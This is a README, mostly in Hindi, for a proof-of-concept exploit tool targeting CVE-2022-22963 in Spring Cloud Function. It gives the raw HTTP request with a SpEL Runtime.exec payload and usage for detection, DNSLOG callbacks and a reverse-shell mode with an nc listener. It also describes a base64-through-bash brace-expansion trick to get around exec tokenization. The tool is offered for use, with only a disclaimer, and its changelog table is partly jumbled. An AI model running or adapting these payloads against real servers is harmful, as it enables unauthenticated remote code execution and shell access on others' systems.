
CVE-2022-22963-poc
Spring Cloud Function SpEL अभिव्यक्ति इंजेक्शन रिमोट कोड एक्ज़ीक्यूशन भेद्यता का पता लगाने और शोषण करने का उपकरण।
CVE-2022-22963 Spring Cloud Function रूटिंग फ़ंक्शन में एक उच्च-जोखिम वाला RCE भेद्यता है (CVSS 9.8)। जब एप्लिकेशन /functionRouter एंडपॉइंट सक्षम करता है, तो spring.cloud.function.routing-expression अनुरोध हेडर का मान सीधे SpEL (Spring Expression Language) अभिव्यक्ति के रूप में निष्पादित होता है, और हमलावर बिना प्रमाणीकरण के लक्ष्य सर्वर पर मनमाने सिस्टम कमांड निष्पादित कर सकता है।
प्रभावित संस्करण:
| शाखा | प्रभावित संस्करण | फिक्स संस्करण |
|---|---|---|
| 3.1.x | < 3.1.7 | 3.1.7 |
| 3.2.x | < 3.2.3 | 3.2.3 |
भेद्यता सिद्धांत:
POST /functionRouter HTTP/1.1
Host: target.example.com
spring.cloud.function.routing-expression: T(java.lang.Runtime).getRuntime().exec("id")
Content-Type: application/x-www-form-urlencoded
test
सर्वर SpEL निष्पादित करने के बाद, exec() एक Process ऑब्जेक्ट लौटाता है; जब Spring इसे सीरियलाइज़ करने का प्रयास करता है तो अपवाद उत्पन्न होता है, और प्रतिक्रिया HTTP 500 होती है। कमांड पृष्ठभूमि में एसिंक्रोनस रूप से निष्पादित होता है, परिणाम HTTP प्रतिक्रिया में प्रतिध्वनित नहीं होता, इसलिए DNSLOG या रिवर्स शेल जैसे साइड-चैनल के माध्यम से पुष्टि करना आवश्यक है।
ping अनुरोध भेजकर DNS रिकॉर्ड के माध्यम से कमांड निष्पादन की पुष्टि करनाpip install requests
Python 3.6+ कोई अन्य निर्भरता नहीं।
python3 CVE-2022-22963.py -u <目标URL> [选项]
python3 CVE-2022-22963.py -u http://target.example.com -c
2024-01-01 12:00:00 - INFO - [+] http://target.example.com 存在漏洞!
बिना प्रतिध्वनि वाली स्थिति में कमांड के वास्तविक निष्पादन की पुष्टि करने के लिए उपयोग किया जाता है:
python3 CVE-2022-22963.py -u http://target.example.com -m dnslog -d abc123.dnslog.cn
2024-01-01 12:00:01 - INFO - [+] payload 已发送,请检查 abc123.dnslog.cn 是否收到 DNS 请求(确认实际执行)
इसके बाद DNSLOG प्लेटफ़ॉर्म पर जाँचें कि लक्ष्य IP से DNS क्वेरी रिकॉर्ड प्राप्त हुआ या नहीं।
हमलावर मशीन पर लिसनिंग शुरू करें:
nc -lvnp 9999
payload भेजें:
python3 CVE-2022-22963.py -u http://target.example.com -m shell -i 192.168.1.100 -p 9999
2024-01-01 12:00:02 - INFO - [+] payload 已发送,请在 192.168.1.100:9999 等待连接(仅支持 Linux/bash 目标)
ध्यान दें: रिवर्स शेल लक्ष्य सिस्टम में
/dev/tcpसमर्थन पर निर्भर करता है, केवल Linux + bash वातावरण पर लागू होता है, Windows लक्ष्य या sh/ash/dash जैसे शेल का समर्थन नहीं करता।
डिटेक्शन अनुरोध /functionRouter पर वास्तविक SpEL अभिव्यक्ति भेजता है:
T(java.lang.Runtime).getRuntime().exec('id')
Process ऑब्जेक्ट सीरियलाइज़ नहीं हो सकता → HTTP 500 + "path":"/functionRouter"Runtime.exec(String) शेल व्याख्या से नहीं गुजरता, कमांड स्ट्रिंग को सीधे स्पेस के आधार पर tokenize करता है, और पाइप और रीडायरेक्शन को संभाल नहीं सकता। उपकरण निम्नलिखित तरीकों से इसे बायपास करता है:
{cmd,arg} का उपयोग करें-c पैरामीटर पाइप और रीडायरेक्शन को संभालता हैbash -c {echo,BASE64}|{base64,-d}|{bash,-i}
↕ Java exec 按空格 tokenize
["bash", "-c", "{echo,BASE64}|{base64,-d}|{bash,-i}"]
↕ bash -c 对参数做 brace expansion
echo BASE64 | base64 -d | bash -i
| दिनांक | संस्करण | विवरण |
|---|---|---|
| 2023-12-28 | v1.0 | प्रारंभिक संस्करण जारी किया गया |
| 2025-10-09 | v1.1 | कोड पुनर्गठन, पैरामीटर हैंडलिंग और त्रुटि हैंडलिंग में सुधार |
| 2026-06-29 |
यह उपकरण केवल सुरक्षा अनुसंधान, अधिकृत पेनेट्रेशन टेस्टिंग और शैक्षिक उद्देश्यों के लिए है।
इस उपकरण का उपयोग करने का अर्थ है कि आप सहमत हैं:
लेखक किसी भी अनधिकृत उपयोग और उसके परिणामों के लिए कोई ज़िम्मेदारी नहीं लेता है।
| पैरामीटर | विवरण | डिफ़ॉल्ट मान |
|---|
-u, --url | लक्ष्य URL (आवश्यक) | — |
-c, --check | जाँचें कि भेद्यता मौजूद है या नहीं | — |
-m, --mode | शोषण मोड: dnslog या shell | — |
-d, --dns | DNSLOG डोमेन (-m dnslog के साथ उपयोग करें) | — |
-i, --ip | रिवर्स शेल प्राप्त करने वाला IP (-m shell के साथ उपयोग करें) | — |
-p, --port | रिवर्स शेल प्राप्त करने के लिए पोर्ट | 9999 |
-t, --timeout | अनुरोध टाइमआउट (सेकंड) | 5 |
| v1.2 |
| डिटेक्शन फ़ाल्स पॉज़िटिव, context path पाथ जोड़ और exploit रिटर्न वैल्यू सिमेंटिक्स समस्याएँ ठीक की गईं |